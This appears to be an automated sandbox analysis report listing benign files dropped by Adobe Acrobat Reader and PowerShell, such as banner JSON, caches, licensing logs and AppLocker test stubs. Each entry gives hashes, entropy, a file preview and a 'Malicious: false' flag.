SHA1:	0B8A3C0EC4E7C2D34D45CC9CCB46E4886DF9FFD6
SHA-256:	E9D00D564A26EC5D2749C932236DD13F529DEDE010CDED29845FD48AD36E5279
SHA-512:	3157E8AF8252A444378D55B7131A787114E9AE976625AC550D20E1542C81AA0238B46B6ECB11D5092C7E40B1C3F68721F9A919D5853602039124F79721C8514F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea88695d-a91a-47a8-b66e-0639148899d6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736681185345,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.257872999319931
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLn61C7DL2Ox+FIbRI6XVW7+0YEYxoAvJf21rPeUkwRe9:YvXKXD6eUYpW7FG+16Ukee9
MD5:	B39FB940CBAD5DBE68C262C327CF9234
SHA1:	ED8B4D95E6979D3CB7067BCF6AE5122DA7B34A20
SHA-256:	70E0F4E49170F06FD0FC4E1EF0EF924DF321291C0BFAD06B582295ABF4B02E6B
SHA-512:	261E32C0DCD2D37756CBB019A2C0B78CCA3E52721B8B1CCC7B2A50A4288D6D421D0826AD492659B2DC3E4C17E5F09258EE23407B16320D92BB1B762223E70148
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea88695d-a91a-47a8-b66e-0639148899d6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736681185345,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.655386105825011
Encrypted:	false
SSDEEP:	24:Yv6XGeFiWamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSr:YvHlYBgkDMUJUAh8cvMr
MD5:	50BC75EB8D9B4968047980B8D580E605
SHA1:	7A0FC12FD95C76E7744C116F8CB274853F2BC33E
SHA-256:	57111150AFCFF8349848A24B2E9FDA99BD0A4752ADF5545AEF99D478F1513C29
SHA-512:	C3639CEF6FF02172151C4717274A29376DAF8D93DD5A44BE468E064F7DD3485B0E56351BAC53E657119A3A797D00E7F557BE0489D1BBD3724A9C1C6864F03AD9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea88695d-a91a-47a8-b66e-0639148899d6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736681185345,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.231815310214253
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLn61C7DL2Ox+FIbRI6XVW7+0YEYxoAvJfshHHrPeUkwRe9:YvXKXD6eUYpW7FGUUUkee9
MD5:	745F9AE52F504767D069F27DD7A97F80
SHA1:	0E55615098D6FFF9F24455F75EF1464FC7AC3038
SHA-256:	94124050630DA11212D2254B56041E18DAFFA5CDF4AD66B27053A669D11730A4
SHA-512:	4C5F8DD3258E87754C401AD5A7084EFA3915EF2BF1721B12308FBAF63463D5FB13371A9375E385D3A72AD4FE335AAD689A6C2C7390DB2789A4BED9A40D61195B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea88695d-a91a-47a8-b66e-0639148899d6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736681185345,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.251621396363157
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLn61C7DL2Ox+FIbRI6XVW7+0YEYxoAvJTqgFCrPeUkwRe9:YvXKXD6eUYpW7FGTq16Ukee9
MD5:	0690127665FE4B90F3B8D342B151CFBD
SHA1:	B886B73F6287664E6B73610DE7BCD0901F347A81
SHA-256:	AB786D1695AFB5A36D3CEEEBDED5741FDB7624C0C716236985A9FC3A7A6C5640
SHA-512:	AD2A2AC5341B8DF7EAE3FAE54E803CB3049E5CA75E4D9B91997834BB777B90C0077A2E653A9A9CABD5065DC35EA4C98342D254319A090DCC2CF95EEB31BAC0A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea88695d-a91a-47a8-b66e-0639148899d6","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736681185345,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142018232740919
Encrypted:	false
SSDEEP:	48:YxWyduNxnmT7ZVQ6jgDIm+NbGqaiXZvLKB6eRIPMY9ZHg:GWOuNxmTVVQogDIm+NiqFEBrRIPdZHg
MD5:	1382A018FF7AC2E92617E626EA20E615
SHA1:	DB4636DCDFCFE870E232CD50B148665F483570D1
SHA-256:	8DDEB79A5E69025884B355EDFA6B1D2B4071B1BD6068DD4FD49EF6503C6B0AB4
SHA-512:	A65D457D45B187DE4745F2FA3F8521A178CC72E6897443CDC2E3103F3271F3F6015FE80693ABBAF6FB644BD5109B1BBD4D78B3280CA0E5B2AD42E4D507FD805E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"6543806561f07c06d8823c7f0259c33b","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736503629000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"717b373a7369a7837a71851449b9ed87","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736503629000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"18dcf5f0bee80a8a2fad942d2ed3bc9f","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736503629000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"6085bcb2284300b4c8870a73d6eb9309","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736503629000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8eff3fb209e2424530e11d80263447bc","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736503629000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"9e48a7cd4eb0827ed32c9875718b7a2e","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9851089808424183
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpOn4zJwtNBwtNbRZ6bRZ4lnF:TVl2GL7ms6ggOVpO4zutYtp6PIF
MD5:	F8F5E1858D20E100B061264A9BE26D68
SHA1:	D720E3448CB2A4D2253CAD17A7D39575020D11E2
SHA-256:	A1820154F229C6FF9BA876BC9ED7A05FEC5306624C8B53EB85D5B3EE2465C8E5
SHA-512:	ECA0B7D0C9CB5080C99EF8EDA4E9C45FD422EE25EF498ECF8B1DE6CF26B23FD066000A6762AF29CA6200DEE5FB15CD9FCD61BA7549D3B8F8D65408A69F82A01E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3378013703684009
Encrypted:	false
SSDEEP:	24:7+tMAD1RZKHs/Ds/SpOnPzJwtNBwtNbRZ6bRZWf1RZKk/nqLBx/XYKQvGJF7ursb:7MMGgOVpOPzutYtp6PMZqll2GL7msb
MD5:	C9593C6A31E10B75C39AB1A8D469D29F
SHA1:	2BE958741FD4D137C581B3DA5A52F90DC4C2A635
SHA-256:	78CE39F832D0ADDD8E8A982A9328B6413305B3B4D1259C58213A474998C9161B
SHA-512:	65E246D0B894EC010942D7AAC3FA562253B637ACE9320110A576557F95BDFB8C06BB58F65CC1089BF5793123582D9B9E8ACE76291381808489D5A6DE9307A56B
Malicious:	false
Preview:	.... .c......ml[......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg3xk5DBd0bi1xPlId4qiev52EYyu:6a6TZ44ADE3x2DBCi1cv5BK
MD5:	1FD3025547241E8DB563F023BEA98E90
SHA1:	A16A0740AED83F674022AE127AAB22ACBA9480E2
SHA-256:	145BE3D9A8E62C3E1654B3251F6B438EB506200C5DA03A2AA3135A5728598233
SHA-512:	268E55E25DFA83B43DB67865EB58FB678EC937995E27DB691B289F8F7BCA90CF2BF7955346293D2C761D2BDA3412776BAB7F3A615577C3542F58404600A8FD39
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIa6b14.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.501595078528367
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl4fPWFKCH:Qw946cPbiOxDlbYnuRK+bfeFKw
MD5:	61FD28D2DB1A94564BC18798A00C0A28
SHA1:	495A471B5240C719EBD71513068F4A5407FC4C5B
SHA-256:	70196746EC03821B742AB94CE4EFF661CCFF0FAE5B29D0DAD415B548071C7642
SHA-512:	415168051BE24A465DB8C5B7B5A010EB434F5179D15AB4D5C082908A2D21721EE5BD41222E4D52B1A88E81584484F6F645597EE8F59DCC06C54ACA49DEA3CFF6
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.5.:.0.7.:.1.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0fzeypsm.k34.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3ufe1ckq.ttn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 05-07-06-385.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.326074592677458
Encrypted:	false
SSDEEP:	384:6F5IRtNKdhv6SCpd0WMCc6zqCFW6TA468I04+2GUCOC1f0ZU8PvrC5Cz6tDKJsck:SfS
MD5:	72C18F36F51AA2110FFE3DFF2854DE88
SHA1:	A911AC21FBE6DAD5C2183F6471ACD2F075387951
SHA-256:	E849F8864A3166B2B293F0530F02130C96D752279C515E9E3D407F2D0BF09F26
SHA-512:	AC8A7436F48C3E7E69B0ED9B4D1F417F64C72DD73A3478CBDA95C169584159432496FFB4B70B6B6AA7B7E8F5F8CA5272D3AA4CB42F9E32D7270048B86258DDB1
Malicious:	false
Preview:	SessionID=ca26e9b3-b30b-4189-a5c9-005bbe7b6b89.1736503626401 Timestamp=2025-01-10T05:07:06:401-0500 ThreadID=7552 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ca26e9b3-b30b-4189-a5c9-005bbe7b6b89.1736503626401 Timestamp=2025-01-10T05:07:06:402-0500 ThreadID=7552 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ca26e9b3-b30b-4189-a5c9-005bbe7b6b89.1736503626401 Timestamp=2025-01-10T05:07:06:402-0500 ThreadID=7552 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ca26e9b3-b30b-4189-a5c9-005bbe7b6b89.1736503626401 Timestamp=2025-01-10T05:07:06:402-0500 ThreadID=7552 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ca26e9b3-b30b-4189-a5c9-005bbe7b6b89.1736503626401 Timestamp=2025-01-10T05:07:06:402-0500 ThreadID=7552 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.39729959567337
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbq:Vc
MD5:	F2DD24196668B66616D67970031818F6
SHA1:	F57A10E800E8B58AF117D8C32489D8073750E06B
SHA-256:	81969969189A9A281B7F1D08FFE5173E7F66D6869191A52B94198AEF49181EC6
SHA-512:	89058E34FEF35FC577BC6BFA71B8F530AD2BE8BA2CC04EE2EE601C787FFF5111A4CC6178058E3560A4A88A498E629517A277267E67236EE02C6F2714850ED31C
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3efffff0-136f-4686-a563-67617bd913ee.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\6c2ba46f-754d-41d9-a976-a5f5bdecffe3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9d326840-a20d-4876-a325-52777950d6e2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
